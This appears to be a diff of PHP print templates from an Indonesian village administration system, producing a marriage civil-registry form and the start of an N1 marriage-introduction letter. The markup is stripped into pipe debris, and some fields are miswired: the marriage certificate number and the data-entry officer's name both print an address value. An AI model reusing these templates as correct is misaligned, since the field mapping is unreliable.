+ | c. Kabupaten/Kota | += $input['kabpria'];?> | +d. Propinsi | += $input['provinsipria'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 7. | +Pendidikan Terakhir | ++ | = $input['pendidikan_pria']?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. | +Agama/Penghayat Kepercayaan | ++ | = $input['agama_pria']?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 9. | +Nama Organisasi Penghayat Kepercayaan | ++ | = $input['penghayat_pria']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 10. | +Pekerjaan | ++ + | + + = $input['pekerjaanid_pria'][$j]; ?> + + + + | + ++ | Lihat tata cara pengisian formulir X JENIS PEKERJAAN No. 1 s/d 88 | +|||||||||||||||||||||||||||||||||||||||||||
+ | 11. | +Anak ke | ++ + | + + = $input['anak_ke_pria'][$j]; ?> + + + + | + ++ | + | |||||||||||||||||||||||||||||||||||||||||||
+ | 12. | +Status Perkawinan Sebelum Nikah | ++ | = $input['status_kawin_pria']?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 13. | +Perkawinan Yang Ke | ++ + | + + = $input['kawin_ke_pria'][$j]; ?> + + + + | + ++ | + | |||||||||||||||||||||||||||||||||||||||||||
+ | 14. | +Istri Yang Ke (bagi yang poligami) | ++ + | + + = $input['istri_ke_bagi_pria'][$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 15. | +Kewarganegaraan | ++ | = $input['wn_pria']?> | + + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 16. | +Kebangsaan (bagi WNA) | ++ | = $input['bangsa_pria']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | + II. DATA AYAH DARI SUAMI + | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 17. | +Nomor Induk Kependudukan (NIK) | ++ + | + + = $input['nik_ayah_pria'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 18. | +Nama Lengkap | ++ | = $input['nama_ayah_pria']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 19. | +Agama/Penghayat Kepercayaan | ++ | = $input['agama_ayah_pria']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | 20. | +Nama Organisasi Penghayat Kepercayaan | ++ | = $input['penghayat_ayah_pria']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 21. | +Tempat/Tanggal Lahir | ++ | = $input['tempat_lahir_ayah_pria']?> | + +Tgl | + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||
+ | 22. | +Alamat | ++ | = $input['alamat_ayah_pria']?> | +RT | + ++ + = $input['rt_ayah_pria'][$i];?> + + + + | + +RW | + ++ + = $input['rw_ayah_pria'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||
+ | Kode Pos | + ++ + = $config['kode_pos'][$i];?> + + + + | + ++ | Telepon | + ++ + = $input['telepon_ayah_pria'][$i];?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | a. Desa/Kelurahan | += $input['desaayah_pria'];?> | +b. Kecamatan | += $input['kecayah_pria'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | c. Kabupaten/Kota | += $input['kabayah_pria'];?> | +d. Propinsi | += $input['provinsiayah_pria'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 23. | +Pekerjaan | ++ + | + + = $input['pekerjaanid_ayah_pria'][$j]; ?> + + + + | + ++ | Lihat tata cara pengisian formulir X JENIS PEKERJAAN No. 1 s/d 88 | +|||||||||||||||||||||||||||||||||||||||||||
+ | + III. DATA IBU DARI SUAMI + | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 24. | +24. Nomor Induk Kependudukan (NIK) | ++ + | + + = $input['nik_ibu_pria'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 25. | +Nama Lengkap | ++ | = $input['nama_ibu_pria']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 26. | +Agama/Penghayat Kepercayaan | ++ | = $input['agama_ibu_pria']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | 27. | +Nama Organisasi Penghayat Kepercayaan | ++ | = $input['penghayat_ibu_pria']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 28. | +Tempat/Tanggal Lahir | ++ | = $input['tempat_lahir_ibu_pria']?> | + +Tgl | + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||
+ | 29. | +Alamat | ++ | = $input['alamat_ibu_pria']?> | +RT | + ++ + = $input['rt_ibu_pria'][$i];?> + + + + | + +RW | + ++ + = $input['rw_ibu_pria'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||
+ | Kode Pos | + ++ + = $config['kode_pos'][$i];?> + + + + | + ++ | Telepon | + ++ + = $input['telepon_ibu_pria'][$i];?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | a. Desa/Kelurahan | += $input['desaibu_pria'];?> | +b. Kecamatan | += $input['kecibu_pria'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | c. Kabupaten/Kota | += $input['kabibu_pria'];?> | +d. Propinsi | += $input['provinsiibu_pria'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 30. | +Pekerjaan | ++ + | + + = $input['pekerjaanid_ibu_pria'][$j]; ?> + + + + | + ++ | Lihat tata cara pengisian formulir X JENIS PEKERJAAN No. 1 s/d 88 | +|||||||||||||||||||||||||||||||||||||||||||
+ | + IV. DATA ISTRI + | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 31. | +Nomor Induk Kependudukan (NIK) | ++ + | + + = $input['nik_wanita'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 32. | +Nomor Kartu Keluarga (Nomor KK) | ++ + | + + = $input['kk_wanita'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 33. | +Nomor Paspor | ++ + | + + = $input['dokumen_pasport_wanita'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 34. | +Nama Lengkap | ++ | = $input['nama_wanita']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 35. | +Tempat/Tanggal Lahir | ++ | = $input['tempat_lahir_wanita']?> | + +Tgl | + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||
+ | 36. | +Alamat | ++ | = $input['alamat_wanita']?> | +RT | + ++ + = $input['rt_wanita'][$i];?> + + + + | + +RW | + ++ + = $input['rw_wanita'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||
+ | Kode Pos | + ++ + = $config['kode_pos'][$i];?> + + + + | + ++ | Telepon | + ++ + = $input['telepon_wanita'][$i];?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | a. Desa/Kelurahan | += $input['desawanita'];?> | +b. Kecamatan | += $input['kecwanita'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | c. Kabupaten/Kota | += $input['kabwanita'];?> | +d. Propinsi | += $input['provinsiwanita'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 37. | +Pendidikan Terakhir | ++ | = $input['pendidikan_wanita']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | 38. | +Agama/Penghayat Kepercayaan | ++ | = $input['agama_wanita']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 39. | +Nama Organisasi Penghayat Kepercayaan | ++ | = $input['penghayat_wanita']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 40. | +Pekerjaan | ++ + | + + = $input['pekerjaanid_wanita'][$j]; ?> + + + + | + ++ | Lihat tata cara pengisian formulir X JENIS PEKERJAAN No. 1 s/d 88 | +|||||||||||||||||||||||||||||||||||||||||||
+ | 41. | +Anak ke | ++ + | + + = $input['anak_ke_wanita'][$j]; ?> + + + + | + ++ | + | |||||||||||||||||||||||||||||||||||||||||||
+ | 42. | +Status Perkawinan Sebelum Nikah | ++ | = $input['status_kawin_wanita']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | 43. | +Perkawinan Yang Ke | ++ + | + + = $input['kawin_ke_wanita'][$j]; ?> + + + + | + ++ | + | |||||||||||||||||||||||||||||||||||||||||||
+ | 44. | +Kewarganegaraan | ++ | = $input['wn_wanita']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | 45. | +Kebangsaan (bagi WNA) | ++ | = $input['bangsa_wanita']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | + V. DATA AYAH DARI ISTRI + | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 46. | +Nomor Induk Kependudukan (NIK) | ++ + | + + = $input['nik_ayah_wanita'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 47. | +Nama Lengkap | ++ | = $input['nama_ayah_wanita']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 48. | +Agama/Penghayat Kepercayaan | ++ | = $input['agama_ayah_wanita']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | 49. | +Nama Organisasi Penghayat Kepercayaan | ++ | = $input['penghayat_ayah_wanita']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 50. | +Tempat/Tanggal Lahir | ++ | = $input['tempat_lahir_ayah_wanita']?> | + +Tgl | + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||
+ | 51. | +Alamat | ++ | = $input['alamat_ayah_wanita']?> | +RT | + ++ + = $input['rt_ayah_wanita'][$i];?> + + + + | + +RW | + ++ + = $input['rw_ayah_wanita'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||
+ | Kode Pos | + ++ + = $config['kode_pos'][$i];?> + + + + | + ++ | Telepon | + ++ + = $input['telepon_ayah_wanita'][$i];?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | a. Desa/Kelurahan | += $input['desaayah_wanita'];?> | +b. Kecamatan | += $input['kecayah_wanita'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | c. Kabupaten/Kota | += $input['kabayah_wanita'];?> | +d. Propinsi | += $input['provinsiayah_wanita'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 52. | +Pekerjaan | ++ + | + + = $input['pekerjaanid_ayah_wanita'][$j]; ?> + + + + | + ++ | Lihat tata cara pengisian formulir X JENIS PEKERJAAN No. 1 s/d 88 | +|||||||||||||||||||||||||||||||||||||||||||
+ | + VI. DATA IBU DARI ISTRI + | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 53. | +Nomor Induk Kependudukan (NIK) | ++ + | + + = $input['nik_ibu_wanita'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 54. | +Nama Lengkap | ++ | = $input['nama_ibu_wanita']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 55. | +Agama/Penghayat Kepercayaan | ++ | = $input['agama_ibu_wanita']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | 56. | +Nama Organisasi Penghayat Kepercayaan | ++ | = $input['penghayat_ibu_wanita']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 57. | +Tempat/Tanggal Lahir | ++ | = $input['tempat_lahir_ibu_wanita']?> | + +Tgl | + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||
+ | 58. | +Alamat | ++ | = $input['alamat_ibu_wanita']?> | +RT | + ++ + = $input['rt_ibu_wanita'][$i];?> + + + + | + +RW | + ++ + = $input['rw_ibu_wanita'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||
+ | Kode Pos | + ++ + = $config['kode_pos'][$i];?> + + + + | + ++ | Telepon | + ++ + = $input['telepon_ibu_wanita'][$i];?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | a. Desa/Kelurahan | += $input['desaibu_wanita'];?> | +b. Kecamatan | += $input['kecibu_wanita'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | c. Kabupaten/Kota | += $input['kabibu_wanita'];?> | +d. Propinsi | += $input['provinsiibu_wanita'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 59. | +Pekerjaan | ++ + | + + = $input['pekerjaanid_ibu_wanita'][$j]; ?> + + + + | + ++ | Lihat tata cara pengisian formulir X JENIS PEKERJAAN No. 1 s/d 88 | +|||||||||||||||||||||||||||||||||||||||||||
+ | + VII. DATA SAKSI + | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | + DATA SAKSI I + | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 60. | +Nomor Induk Kependudukan (NIK) | ++ + | + + = $input['nik_saksi1'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 61. | +Nama Lengkap | ++ | = $input['nama_saksi1']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 62. | +Tempat/Tanggal Lahir | ++ | = $input['tempat_lahir_saksi1']?> | + +Tgl | + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||
+ | 63. | +Agama/Penghayat Kepercayaan | ++ | = $input['agama_saksi1']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | 64. | +Nama Organisasi Penghayat Kepercayaan | ++ | = $input['penghayat_saksi1']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 65. | +Alamat | ++ | = $input['alamat_saksi1']?> | +RT | + ++ + = $input['rt_saksi1'][$i];?> + + + + | + +RW | + ++ + = $input['rw_saksi1'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||
+ | Kode Pos | + ++ + = $config['kode_pos'][$i];?> + + + + | + ++ | Telepon | + ++ + = $input['telepon_saksi1'][$i];?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | a. Desa/Kelurahan | += $input['desasaksi1'];?> | +b. Kecamatan | += $input['kecsaksi1'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | c. Kabupaten/Kota | += $input['kabsaksi1'];?> | +d. Propinsi | += $input['provinsisaksi1'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 66. | +Pekerjaan | ++ | = $input['pekerjaanid_saksi1']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | + DATA SAKSI II + | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 67. | +Nomor Induk Kependudukan (NIK) | ++ + | + + = $input['nik_saksi2'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | 68. | +Nama Lengkap | ++ | = $input['nama_saksi2']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 69. | +Tempat/Tanggal Lahir | ++ | = $input['tempat_lahir_saksi2']?> | + +Tgl | + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||
+ | 70. | +Agama/Penghayat Kepercayaan | ++ | = $input['agama_saksi2']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 71. | +Nama Organisasi Penghayat Kepercayaan | ++ | = $input['penghayat_saksi2']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 72. | +Alamat | ++ | = $input['alamat_saksi2']?> | +RT | + ++ + = $input['rt_saksi2'][$i];?> + + + + | + +RW | + ++ + = $input['rw_saksi2'][$i];?> + + + + | + +|||||||||||||||||||||||||||||||||||||||||
+ | Kode Pos | + ++ + = $config['kode_pos'][$i];?> + + + + | + ++ | Telepon | + ++ + = $input['telepon_saksi2'][$i];?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | a. Desa/Kelurahan | += $input['desasaksi2'];?> | +b. Kecamatan | += $input['kecsaksi2'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | c. Kabupaten/Kota | += $input['kabsaksi2'];?> | +d. Propinsi | += $input['provinsisaksi2'];?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 73. | +Pekerjaan | ++ | = $input['pekerjaanid_saksi2']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | + VIII. DATA PERKAWINAN + | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 74. | +Tanggal Pemberkatan Perkawinan | ++ | Tgl | + + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||
+ | 75. | +Hari, Tanggal, Bulan dan Tahun Melapor | ++ | = $input['hari_lapor']?> | + +Tgl | + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | ||||||||||||||||||||||||||||||||||||
+ | 76. | +Pukul | ++ | = $input['jam_lapor']?> | ++ | + | |||||||||||||||||||||||||||||||||||||||||||
+ | 77. | +Agama/Penghayat Kepercayaan | ++ | = $input['agama_kawin']?> | ++ + | ||||||||||||||||||||||||||||||||||||||||||||
+ | 78. | +Nama Organisasi Penghayat Kepercayaan | ++ | = $input['penghayat_kawin']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 79. | +Nama Badan Peradilan | ++ | = $input['badan_peradilan']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 80. | +Nomor Putusan Penetapan Pengadilan | ++ | = $input['nomor_putusan']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 81. | +Tanggal Putusan Penetapan Pengadilan | ++ | Tgl | + + ++ + = $tgl[$j]; ?> + + + + | + ++ | Bln | + ++ + = $bln[$j]; ?> + + + + | + ++ | Thn | + ++ + = $thn[$j]; ?> + + + + | + ++ | |||||||||||||||||||||||||||||||||||||
+ | 82. | +Nama Pemuka Agama/Pghyt Kepercayaan | ++ | = $input['nama_pemuka']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 83. | +Ijin Perwakilan bagi WNA / Nomor | ++ | = $input['ijin_wna']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 84. | +Jumlah Anak Yang Telah Diakui dan Disahkan | ++ | = $input['jumlah_anak']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 85. | +Nama Anak | ++ | 1. | += $input['nama_anak1']?> | ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | + | 2. | += $input['nama_anak2']?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||
+ | + | 3. | += $input['nama_anak3']?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||
+ | + | 4. | += $input['nama_anak4']?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||
+ | + | 5. | += $input['nama_anak5']?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||
+ | + | 6. | += $input['nama_anak6']?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||
+ | 86. | +No, Tgl. Akta Kelahiran | ++ | 1. No. | += $input['no_akta_anak1']?> | +Tgl. | += $input['tgl_akta_anak1']?> | +||||||||||||||||||||||||||||||||||||||||||
+ | 2. No. | += $input['no_akta_anak2']?> | +Tgl. | += $input['tgl_akta_anak2']?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. No. | += $input['no_akta_anak3']?> | +Tgl. | += $input['tgl_akta_anak3']?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. No. | += $input['no_akta_anak4']?> | +Tgl. | += $input['tgl_akta_anak4']?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. No. | += $input['no_akta_anak5']?> | +Tgl. | += $input['tgl_akta_anak5']?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. No. | += $input['no_akta_anak6']?> | +Tgl. | += $input['tgl_akta_anak6']?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | DATA ADMINISTRASI | ++ | + | ||||||||||||||||||||||||||||||||||||||||||||||
+ | Hanya Diisi oleh petugas | ++ | + | ||||||||||||||||||||||||||||||||||||||||||||||
+ | 87. | +Persyaratan | ++ | + | |||||||||||||||||||||||||||||||||||||||||||||
+ | + | Surat Keterangan Perkawinan dari Pemuka Agama / Penghayat Kepercayaan / Salinan Penetapan Pengadilan | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Fotocopy Kutipan Akta Kelahiran | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Surat Keterangan dari Desa/Kelurahan | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Fotocopy KTP/KK yang Dilegalisir Pejabat yang Berwenang | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Pas Photo Berdampingan ukuran 4x6 cm sebanyak 3 (tiga) lembar | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | 2 (dua) orang saksi yang telah berusia 21 tahun keatas | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Fotocopy Kutipan Akta Kelahiran Anak yang akan diakui / disyahkan. | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Fotocopy Akta Perceraian/Kematian jika yang bersangkutan telah pernah kawin | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Ijin dari Komandan bagi anggota TNI/POLRI | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Perjanjian Perkawinan | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | STMD dari Kepolisian | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Surat ijin dari Isteri bagi yang berpoligami. | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Surat ijin dari Pengadilan Negeri bagi yang berpoligami. | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Surat ijin dari Perwakilan Negara Asing yang bersangkutan | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | Paspor / dokumen Keimigrasian | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | + | SKTT dari Dinas Kependudukan dan Catatan Sipil | +|||||||||||||||||||||||||||||||||||||||||||||||
+ | 88. | +Nomor Akta Perkawinan | ++ | = $individu['alamat']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 89. | +Tanggal Akta Perkawinan | ++ | Tgl | + ++ + | + ++ | Bln | + ++ + | + ++ | Thn | + ++ + | + ++ | |||||||||||||||||||||||||||||||||||||
+ | 90. | +Tanggal Cetak Kutipan Akta | ++ | Tgl | + ++ + | + ++ | Bln | + ++ + | + ++ | Thn | + ++ + | + ++ | |||||||||||||||||||||||||||||||||||||
+ | 91. | +Nama Petugas Entri Data | ++ | = $individu['alamat']?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||
+ | 92. | +Tanggal Entri Data | ++ | Tgl | + ++ + | + ++ | Bln | + ++ + | + ++ | Thn | + ++ + | + ++ | |||||||||||||||||||||||||||||||||||||
+ = str_pad(".",40,".",STR_PAD_LEFT);?>, = str_pad(".", 60, ".", STR_PAD_LEFT);?> + | +|||||||||||||||||||||||||||||||||||||||||||||||||
+ | Mengetahui | ++ | Pelapor | ++ | |||||||||||||||||||||||||||||||||||||||||||||
+ | = $penandatangan['atas_nama']?> | ++ | Petugas Pencatat | ++ | |||||||||||||||||||||||||||||||||||||||||||||
+ | (= padded_string_center(strtoupper($penandatangan['nama']), 30)?>) | ++ | (= padded_string_center(strtoupper($individu['nama']), 30)?>) | ++ | (= padded_string_center(strtoupper($individu['nama']), 30)?>) | ++ | |||||||||||||||||||||||||||||||||||||||||||
+ | = "NIP : ".str_pad("",40*6," ",STR_PAD_LEFT)?> | ++ | = "NIP : ".$penandatangan['nip']?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||
+ + | |||||||||||||||||||||||||||||||||||||||||||||||||
Lampiran V | +|||||||||
Kepdirjen Bimas Islam Nomor 473 Tahun 2020 | +|||||||||
Tentang | +|||||||||
Petunjuk Teknis Pelaksanaan Pencatatan Nikah | +|||||||||
+ + |
Model N1 | ++ |
+ | |||||||||||||||||||||||||||||||||||||||||||||||
KANTOR DESA/KELURAHAN | +: | += strtoupper($config['nama_desa']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KECAMATAN | +: | += strtoupper($config['nama_kecamatan']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KABUPATEN/KOTA | +: | += strtoupper($config['nama_kabupaten']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ + |
PENGANTAR NIKAH
+Nomor : = $format_surat ?>
+ +Yang bertanda tangan dibawah ini menjelaskan dengan sesungguhnya bahwa :
++ | |||||||||||||||||||||||||||||||||||||||||||||||||||
+ | 1. Nama | +: | += strtoupper($dataCalonSuamiN1['nama']); ?> | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Nomor Induk Kependudukan (NIK) | +: | += $dataCalonSuamiN1['nik']; ?> | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Jenis Kelamin | +: | +Laki - laki | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan Tanggal Lahir | +: | += $dataCalonSuamiN1['tempatlahir'] . ', ' . tgl_indo2( !empty($dataCalonSuamiN1['tanggallahir']) ? date('Y-m-d', strtotime($dataCalonSuamiN1['tanggallahir'])) : ''); ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataCalonSuamiN1['warganegara']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataCalonSuamiN1['agama']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataCalonSuamiN1['pekerjaan']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Pendidikan Terakhir | +: | += $dataCalonSuamiN1['pendidikan']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 9. Bin/Binti | +: | += ($dataCalonSuamiN1['bin']); ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 10. Alamat | +: | += $dataCalonSuamiN1['alamat_wilayah']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 11. Status Perkawinan | +: | ++ + | ||||||||||||||||||||||||||||||||||||||||||||||||
+ |
+
|
+ : | += $dataCalonSuamiN1['status_kawin']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ |
+
|
+ : | +- | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 12. Nama isteri / suami terdahulu | +: | += $input['nama_pasangan_terdahulu'] ?> | + +
Adalah benar-benar anak dari perkawinan seorang pria :
++ | ||||||||||||||||||||||||||||||||||||||||||||||||
+ | Nama Lengkap dan alias | +: | += strtoupper($dataCalonSuamiN1['nama_ayah']); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Nomor Induk Kependudukan (NIK) | +: | += $dataCalonSuamiN1['ayah_nik']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Tempat dan Tanggal Lahir | +: | += $dataCalonSuamiN1['tempat_lahir_ayah'] . ', ' . tgl_indo2( !empty($dataCalonSuamiN1['tanggal_lahir_ayah']) ? date('Y-m-d', strtotime($dataCalonSuamiN1['tanggal_lahir_ayah'])) : ''); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Kewarganegaraan | +: | += $dataCalonSuamiN1['warganegara_ayah']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Agama | +: | += $dataCalonSuamiN1['agama_ayah']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Pekerjaan | +: | += $dataCalonSuamiN1['pekerjaan_ayah']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Alamat | +: | += $dataCalonSuamiN1['alamat_ayah']; ?> | + +
dengan seorang wanita :
++ | ||||||||||||||||||||||||||||||||||||||||||||||||
+ | Nama Lengkap dan alias | +: | += strtoupper($dataCalonSuamiN1['nama_ibu']); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Nomor Induk Kependudukan (NIK) | +: | += $dataCalonSuamiN1['ibu_nik']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Tempat dan Tanggal Lahir | +: | += $dataCalonSuamiN1['tempat_lahir_ibu'] . ', ' . tgl_indo2(!empty($dataCalonSuamiN1['tanggal_lahir_ibu']) ? date('Y-m-d', strtotime($dataCalonSuamiN1['tanggal_lahir_ibu'])) : ''); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Kewarganegaraan | +: | += $dataCalonSuamiN1['warganegara_ibu']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
